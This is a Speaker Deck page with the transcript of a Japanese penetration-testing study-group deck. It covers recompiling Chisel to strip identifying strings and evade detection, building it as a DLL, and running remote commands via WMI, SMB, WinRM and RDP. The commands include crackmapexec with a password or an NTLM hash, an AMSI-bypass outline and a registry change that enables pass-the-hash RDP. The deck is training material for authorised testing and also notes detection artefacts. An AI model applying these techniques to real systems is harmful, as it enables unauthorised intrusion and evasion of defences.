Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
ペンテストに関するTIPS
Search
Ruslan Sayfiev
August 28, 2023
Technology
3
2.3k
ペンテストに関するTIPS
主にペネトレーションテストやRed Team業務を対象として、Golangで開発されたツール編集のやり方やリモート操作用サービスの違い紹介の資料です。
Ruslan Sayfiev
August 28, 2023
Tweet
Share
More Decks by Ruslan Sayfiev
See All by Ruslan Sayfiev
Active Directory攻防
cryptopeg
12
9k
Other Decks in Technology
See All in Technology
Qiita Bash アドカレ LT #1
okaru
0
190
「リリースファースト」の実感を届けるには 〜停滞するチームに変化を起こすアプローチ〜 #RSGT2026
kintotechdev
0
1k
「アウトプット脳からユーザー価値脳へ」がそんなに簡単にできたら苦労しない #RSGT2026
aki_iinuma
11
5.5k
Security Hub と出会ってから 1年半が過ぎました
rch850
0
150
Digitization部 紹介資料
sansan33
PRO
1
6.6k
スクラムを一度諦めたチームにアジャイルコーチが入ってどう変化したか / A Team's Second Try at Scrum with an Agile Coach
kaonavi
0
260
善意の活動は、なぜ続かなくなるのか ーふりかえりが"構造を変える判断"になった半年間ー
matsukurou
0
550
サラリーマンソフトウェアエンジニアのキャリア
yuheinakasaka
41
19k
ファインディにおけるフロントエンド技術選定の歴史
puku0x
2
1.5k
マーケットプレイス版Oracle WebCenter Content For OCI
oracle4engineer
PRO
5
1.5k
SwiftDataを覗き見る
akidon0000
0
270
Oracle Database@AWS:サービス概要のご紹介
oracle4engineer
PRO
2
910
Featured
See All Featured
Side Projects
sachag
455
43k
Claude Code どこまでも/ Claude Code Everywhere
nwiizo
61
51k
"I'm Feeling Lucky" - Building Great Search Experiences for Today's Users (#IAC19)
danielanewman
231
22k
First, design no harm
axbom
PRO
2
1.1k
New Earth Scene 8
popppiees
1
1.4k
Bioeconomy Workshop: Dr. Julius Ecuru, Opportunities for a Bioeconomy in West Africa
akademiya2063
PRO
1
44
Navigating Team Friction
lara
191
16k
Measuring Dark Social's Impact On Conversion and Attribution
stephenakadiri
1
100
Statistics for Hackers
jakevdp
799
230k
<Decoding/> the Language of Devs - We Love SEO 2024
nikkihalliwell
1
110
世界の人気アプリ100個を分析して見えたペイウォール設計の心得
akihiro_kokubo
PRO
65
35k
Design and Strategy: How to Deal with People Who Don’t "Get" Design
morganepeng
133
19k
Transcript
ペンテストに関するTIPS Ruslan Sayfiev Mizuno Sarii OSCP勉強会 2023年8月26日
WHOAMI Ruslan Sayfiev(ルスラン) • Red Team/PTリーダー@ GMO サイバーセキュリティ by イエラエ
• 主な知見:Web・NW診断、Cloud/OSINT/Pentest/RedTeam、車系の診断など • 資格(思ったより多い):OSWP, OSCP, OSEP, OSCE, OSEE, GXPN, CRTO, CRTL, CRTE, CARTP • HackTheBox(やりたいほどできてきていないが):Guru 水野沙理衣 • 新卒1年目@ GMO サイバーセキュリティ by イエラエ • 9月よりWebアプリーケーション脆弱性診断課 • PT勉強中 • SECCON実行委員、CTF for Girls運営(WEB分野講師など) • HackTheBox:Hacker
目次 • カスタムなChiselの作り方 • Windows環境にリモート操作用プロトコル(概要・検知) • WMI • SMB(PSExec、 SMBExec)
• WinRM • RDP
※既存Golangアプリのカスタマイズやコンパイル カスタムなCHISELの作り方
CHISELとは • WebSocketを使用したTCPトンネリングツール(トンネル内はSSHで暗号化される) • Go言語で作成 • 「https://github.com/jpillora/chisel」にて入手可能
カスタマイズなんているの? いくつかの理由の例: • 不足している機能の追加開発(例:Kerberos認証) • 他のツールへの組み込みなど
1) GOLANG開発環境の準備 • 該当プラットホーム元に正式サイトからArchive形のGolangをダウンロード・展開 • 展開したフォルダーにアクセスし、任意のフォルダーを作成する(例:_SRC) • 環境変数をエクスポートする(外部から実行する際、フルパスで指定) • Mac・Linux
export GOPATH=go_custom/_SRC export GOROOT=go_custom export GO111MODULE=off • Win set GOPATH=C:\go_win_custom\_SRC set GOROOT=C:\go_win_custom set GO111MODULE=off
MAC WIN https://go.dev/dl/
• Githubから最新版のArchive方式のChiselをダウンロードする • 「_SRC」フォルダー内に(例:chisel_custom)フォルダーを作って,「main.go」 ファイルだけを入れておく • 「chisel_custom」フォルダーに「cd」する 2) CHISELと必要なライブラリの準備
• そのまま「build」しようとすると、必要なライブラリがないというエラーが発生する • 以下の方法によって必要なライブラリの導入が可能 ※「main.go」ファイルのあるフォルダーから実行! • go get -v -d
./... または • go get github.com/jpillora/chisel
3) CHISELのビルド・カスタマイズ • 現時点で基本的にビルドができるようなりました • go build main.go (別OS/ARCHの場合、GOOS/GOARCHの設定が必要)
• このままのビルドだと、公開リリースビルドとほぼ差がなく、同様に検知され ることになります • 簡単にStringsツールをかけて、Chiselの文字列で確認しましょう • 中身を確認すると、外部ライブラリのインポート名に見える
• 「main.go」ファイルを確認すると、「github.com/jpillora/chisel/…」がインポー トされていることがわかります
• まず、以下の編集を行いましょう 「github.com/jpillora/chisel」 → 「custom_lib」
• コンパイルすると、エラー! • インポートされるライブラリ名が変わったため、ソースフォルダーも以下のよ うに編集する必要があります 「_SRC/src/github.com/jpillora/chisel」 → 「_SRC/src/custom_lib」 ※フォルダー内に「client、server、share」のみのフォルダーを残して大丈夫
• 今度コンパイルし直して、「chisel」で検索すると、23回だけ引っかかることが わかります。おそらく、Helpなどに含まれている文字列が残っているかと推 測できます。 • 実際に中身を確認して、全ての「chisel」文字列を編集しましょう 「chisel」 → 「OSCPStudy」
• 改めてビルドして検索してみると、1個だけが出てくることを確認する。それ は、ビルドパスがバイナリ内に含まれるためで、以下の追加フラグによって パスやシンボルデータなどの削除が可能です。 go build -ldflags="-s -w -extldflags=-static" -trimpath
main.go
• ビルドするバイナリをEXEからDLLにする必要がある場合、以下のように関数を追加して、エクス ポートすることで可能です。 GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -
buildmode=c-shared -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go
• 「Dumpbin」ツールによって、「OffSecRun」関数がエクスポートされていることが 確認できます。例:「rundll32 chisel.dll,OffSecRun」のコマンドによって実行が可 能です。
各種OSやアーキテクチャのコンパイル例(Mac環境) Linux ・ GOOS=linux GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static"
-trimpath -o chisel_arm64.elf main.go ・ GOOS=linux GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.elf main.go ・ GOOS=linux GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.elf main.go Windows #EXE ・ GOOS=windows GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_arm.exe main.go ・ GOOS=windows GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.exe main.go ・ GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.exe main.go #DLL (MinGWが必要) ・ GOOS=windows GOARCH=386 CGO_ENABLED=1 CC=i686-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.dll main.go ・ GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared - ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go MacOS ・ GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_ARM main.go ・ GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64 main.go
WINDOWS環境にリモート操作用プロトコル (概要・検知)
WMI (WINDOWS MANAGEMENT INSTRUMENTATION) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 •
-u Administrator -p ‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method wmiexec → コマンド実行のメソッドとしてwmiexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ) WMIの親子プロセス関係
• --no-output → 実行結果を出力しない WMIの親子プロセス関係
• strace → システムコールとシグナルを追跡するプログラム • -f → フォークした子プロセスも追跡 • -e
trace=network →ネットワークに関連するシステムコールだけを追跡 • 2>&1 → 標準エラー出力(stderr)を標準出力(stdout)にリダイレクト • grep 'connect(‘ → 出力の中からconnect(という文字列を含む行だけを抽出 WMIは135ポート+50000+系のポートを使用する ※上記では445ポートも使用されているが、使わなくすることも可能 使用されるポート
SMB(PSEXEC) 手元の端末で実行 PSExecの親子プロセス関係 対象端末にPSEXECSVCサービスが作成
SMB(SMBEXEC) • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続 • -u Administrator -p
‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用 • --exec-method smbexec → コマンド実行のメソッドとしてsmbexecを使用 • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ)
• --no-output → 実行結果を出力しない
SMBExec/PSExec系は445ポートを使用する 使用されるポート
WINRM(WINDOWS REMOTE MANAGEMENT) WinRMで接続(Invoke-Mimikatzを入力するだけでAMSI機能にセッションが殺される) WinRMの親子プロセス関係
[Ref].Assembly.GetType(...) → .NETアセンブリから特定の型を取得 'Sy’ …;$result) → System.Management.Automation.AmsiUtilsの難読化 .GetField(..., 'NonPublic,Static') →
この型に存在する特定の非公開静的フィールドを取得 .SetValue($null, $true) → この非公開静的フィールドの値をtrueに設定 内部に実装されているモジュールによる回避は失敗する
WinRMは5985ポートを使用する ※SSLの場合、5986ポートが使用される 使用されるポート
RDP(REMOTE DESKTOP PROTOCOL) 一般的には認証情報が手元にあり、入力して入るだけ(MFAなしの場合)ですが、場合によって、 NTLMハッシュのみが手元にある場合はどうすれば?
DisableRestrictedAdminキーを登録する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg
add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f' DisableRestrictedAdminを0に設定することで、 「リモート 資格情報ガード」機能の「制限付き管理 モード」が有効化される DisableRestrictedAdminキーを削除する方法: crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg delete HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /f'
RDPは3389ポートを使用する 使用されるポート
サマリー • ChiselなどのGolangプログラムを含めてカスタマイズしましょう! • リモート操作用プロトコルをしっかり理解して、状況に応じて適切に使いま しょう!
QUESTIONS? • Twitter: https://twitter.com/cryptopeg https://twitter.com/r1154n